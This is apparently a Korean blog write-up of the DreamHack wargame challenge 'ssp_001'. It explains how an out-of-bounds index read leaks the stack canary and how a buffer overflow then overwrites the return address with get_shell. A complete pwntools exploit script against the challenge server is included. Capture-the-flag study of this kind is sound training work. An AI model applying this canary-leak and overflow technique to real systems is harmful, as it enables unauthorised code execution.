상세 컨텐츠

본문 제목

[DreamHack] ssp_001

SYSTEM HACKING/Dreamhack

by koharin 2020. 5. 31. 10:53

본문

728x90
반응형

32비트에서 size_t4바이트. int형은 항상 4바이트

__int1616-bit 정수이다. short형과 동의어이다. 2바이트

P 메뉴에서 취약점 : v7 변수에서 index만큼 위치한 곳의 값을 출력해준다. canary 위치와의 offset을 계산하여 인덱스를 구하면 canary leak이 가능하다.

E 메뉴에서 취약점 : nbytes 크기 정해져 있지 않으므로 v8에서 BOF 취약점 발생.

P에서 canary leak E에서 canary 위치에 canary 주고 return addressget_shell 주면 된다.

 

unsigned __int8 = 1바이트 따라서 0x41이 한 인덱스

카나리 위치까지는 0x84일 것.

1. 카나리 leak하는 방법

 

한 바이트씩 str로 출력되므로 처음에 canary = ‘’으로 두고

canary = p.recvuntil(“\n”)[:2] + canary로 붙여나간다.

그럼 처음에 붙이면 ‘00’ 두번째는 ‘b000’ 이렇게 된다.

 

 

2. v8 입력

0x40+4만큼 더미 후 canary 주고

 

카나리는 rbp-8에 위치하므로 0x40만큼의 더미만 준 것으로 (v8 기준), v7 기준으로는 0x80만큼 더미를 줘서 구해야 한다.

그리고 canary를 넣고 return address canary 사이의 8바이트 더미를 준 후 return addressget_shell로 덮으면 쉘이 따진다!

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./ssp_001")
p = remote("host1.dreamhack.games", 8244)
elf = ELF("./ssp_001")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
get_shell = elf.symbols['get_shell']

p.sendafter("> ", 'F')
p.sendafter("box input : ", 'A'*0x40)
canary = ""
for i in range(4):
    p.sendafter("> ", 'P')
    p.sendlineafter("index : ", str(0x80+i))
    p.recvuntil("is : ")
    canary = p.recvuntil("\n")[:2]+ canary

canary = int(canary, 16)
log.info("canary : "+hex(canary))

p.sendafter("> ", "E")
pay = 'A'*0x40 + p32(canary) + 'B'*8 + p32(get_shell)
p.sendlineafter("Size : ", str(len(pay)))
p.sendafter("Name : ", pay)

p.interactive()

 

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[DreamHack] basic_rop_x86  (0) 2020.05.31
[DreamHack] basic_rop_x64  (0) 2020.05.31
[DreamHack] oneshot  (2) 2020.05.31
[Dreamhack] ssp_000  (0) 2020.05.31
[Dreamhack] rtld  (0) 2020.05.17

관련글 더보기